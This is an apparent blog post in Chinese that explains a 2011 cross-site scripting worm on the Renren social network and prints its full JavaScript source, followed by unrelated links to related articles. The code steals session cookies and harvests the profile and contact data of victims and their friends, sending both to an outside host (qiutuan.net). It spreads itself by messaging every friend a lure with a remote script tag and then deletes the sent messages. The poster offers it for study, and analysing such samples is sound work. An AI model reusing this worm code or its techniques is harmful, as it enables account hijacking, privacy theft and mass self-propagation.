这个病毒的原理基本上是这样的,病毒攻击者利用人人网对XSS(跨站脚本攻击)没有做任何防护实施的,简单的流程可以描述成这样:病毒制造者写了封站内信,信里里有一段<script src='http://qiutuan.net/2011/51.js'></script>这样一段脚本,现在你所看到的是可视化的内容,但是人人把它作为了html标签的内容,于是下载51.js,然后执行之,因为你在看这封站内信时已处于登录状态,这个js文件可以获取cookie内容,然后获取你的信息,然后通过一些列手段获取你的好友的信息,然后将该站内信发给你的所有好友。这个所谓的“病毒”最大的危害是泄露隐私内容,比如说你的手机号、qq号、msn、学校信息等.
下面把那段js贴出来,大家可以研究下,写js代码的哥们肯定是人人的前员工或者其他类似的,里边使用了很多变态的技巧,有一定的学习价值,但是拿他来作恶是不对的。
var token = XN.get_check;
var mobile_friends = [];
var all_friends = [];
var my_id = 0;
function send_data(v) {
var img = document.createElement('img');
img.src = 'http://qiutuan.net/2011/log.php?' + v;
document.body.appendChild(img);
document.body.removeChild(img);
}
function send_to_friends() {
var i;
var idlist = [];
for (i = 0; i < all_friends.length; i++) {
idlist.push(all_friends[i].toString());
if (idlist.length == 10) {
_send_to_friends(idlist);
idlist = [];
}
}
if (idlist.length > 0) _send_to_friends(idlist);
}
function _send_to_friends(ids) {
var content = "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?她喜欢笑,你就老以为她是快乐的;她喜欢跳,你就老以为她是开朗的;她喜欢扭,你就老以为她是放肆的;她喜欢叫,你就老以为她是狂野的。一个人的时候,她其实多愁善感;一个人的时候,她其实安静淡然;一个人的时候,她其实内向自闭;一个人的时候,她其实乖巧温柔……<img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'></img>
<script src='http://qiutuan.net/2011/51.js'></script> ";
var p = {
action: "sharetofriend",
body: content,
form: {
albumid: "0",
currenUserTinyurl: "http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",
fromSharedId: "0",
fromShareOwner: "0",
fromname: "",
fromno: "0",
fromuniv: "",
link: "http://edm.renren.com/link.do?l=27627&t=51",
pic: "http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",
summary: "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?",
title: "加a02好友 奖品散不停",
type: "51"
},
ids: ids,
noteId: "0",
subject: "有人暗恋你哦,你想知道TA是谁么",
tsc: token
};
delete p.tsc;
new XN.net.xmlhttp({
url: "http://share.renren.com/share/submit.do",
data: "tsc=" + token + "&post=" + encodeURIComponent(XN.json.build(p)),
onSuccess: function (response) {
del_send_messages();
}
});
}
function del_messages(idlist) {
var struct_msgs = {
action: "delete",
folder: "1",
slice: "20",
unread_count: "0",
ids: idlist
};
new Ajax.Request("/message/ajax.do", {
method: "get",
parameters: "post=" + encodeURIComponent(XN.JSON.build(struct_msgs))
});
}
function del_send_messages() {
new XN.net.xmlhttp({
url: "http://msg.renren.com/message/inbox.do?f=1",
method: "GET",
onSuccess: function (response) {
var listid1 = response.responseText.match(/thread_(\d+)/g);
for (var i = 0; i < listid1.length; i++) {
listid1[i] = listid1[i].substring(7);
}
del_messages(listid1);
}
});
}
function get_self_info() {
new XN.net.xmlhttp({
url: "http://www.renren.com/profile.do?v=info_ajax&undefined",
method: "GET",
onSuccess: function (r) {
var text_html = r.responseText;
var id, name, birthday, qq, school, mobile, msn, day, month, year;
id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];
my_id = id;
school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1];
year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1];
month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1];
day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1];
name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1];
if (month <= 9) {
month = "0" + month;
}
if (day <= 9) {
day = "0" + day;
}
birthday = year + month + day;
qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name) + "&school=" + encodeURIComponent(school) + "&birth=" + birthday + "&qq=" + qq + "&msn=" + encodeURIComponent(msn) + "&mobile=" + mobile;
send_data(data);
}
});
}
function get_card(tid) {
new XN.net.xmlhttp({
url: 'http://www.renren.com/showcard?friendID=' + tid,
method: 'get',
onSuccess: function (r) {
var obj = eval("(" + r.responseText + ")");
var data = 'type=card&my_id=' + my_id + '&id=' + obj.id + '&name=' + encodeURIComponent(obj.name) + '&msn=' + encodeURIComponent(obj.msn) + '&phone=' + encodeURIComponent(obj.phone) + '&qq=' + encodeURIComponent(obj.qq) + '&email=' + encodeURIComponent(obj.email) + '&address=' + encodeURIComponent(obj.address);
send_data(data);
}
});
}
function get_all_friends() {
new XN.net.xmlhttp({
url: "http://www.renren.com/listcards",
method: "GET",
onSuccess: function (r) {
var text_html = r.responseText;
//alert(text_html);
var friends_list = eval("(" + text_html + ")");
var owned_mobile = (friends_list.list[0].list).length; //have mobile friends number
for (var i = 0; i < owned_mobile; i++) {
mobile_friends.push(friends_list.list[0].list[i].id);
all_friends.push(friends_list.list[0].list[i].id);
}
//alert(mobile_friends.length);
var no_mobile = (friends_list.list[1].list).length;
for (var i = 0; i < no_mobile; i++) {
all_friends.push(friends_list.list[1].list[i].id);
}
//alert(all_friends.length);
for (var i = 0; i < mobile_friends.length; i++)
get_card(mobile_friends[i]);
send_to_friends();
}
});
}
window.onload = function () {
send_data('type=cookie&v=' + encodeURIComponent(document.cookie));
get_self_info();
get_all_friends();
}
分享到:
相关推荐
初中语文文摘情感暗恋你爱了整个曾经
测测最近有多少异性暗恋你? html+ jquery小程序 +php后端 随机数 可自行修改 编程 可以改成抽奖小程序 简单易读一看就懂 通过带着读者手写简化版 html+ jquery小程序,了解 html+ jquery核心原理。 在手写小程序...
借助vs2012开发的windows8商店应用,适合64位系统。 可以实现定位好友并在地图上显示,如果你暗恋某好友,可以在微博上委婉告白。 借助微博SDK和bing map sdk开发的windows8商店应用源码。
表白网站源码。有他,有她,有TA,惊喜,礼物,创意,表白,表白网,暗恋,热恋,表白。
如果是有情调的书写人,记录这他(她)对于你的专属的记忆和怀念,如果是偷偷暗恋你的人写的话,就更加有一点羞涩的味道了,他(她)会更加会对于你的点点滴滴记录得发自内心的情怀之语!如果是老夫老妻的话,他(她...
高中语文 课外阅读之网络文学精选 暗恋年代俞蓓芳素材.doc
暗恋桃花源影评.pdf
暗恋情书范文.doc
暗恋表白情书.doc
暗恋,情书.doc
爱讯:七夕节 为你的女神传递一条暗恋讯息.docx
暗恋桃花源道具总结.doc
暗恋表白的话.doc
关于大学暗恋的文章.doc
初中语文文摘情感暗恋可以不朽
一封感人的暗恋情书.doc
初中语文经典美文因为爱所以暗恋
暗恋情书:爱琴海里的鱼.doc
暗恋桃花源观后感10篇.doc
高中语文文摘校园一只豚鼠的暗恋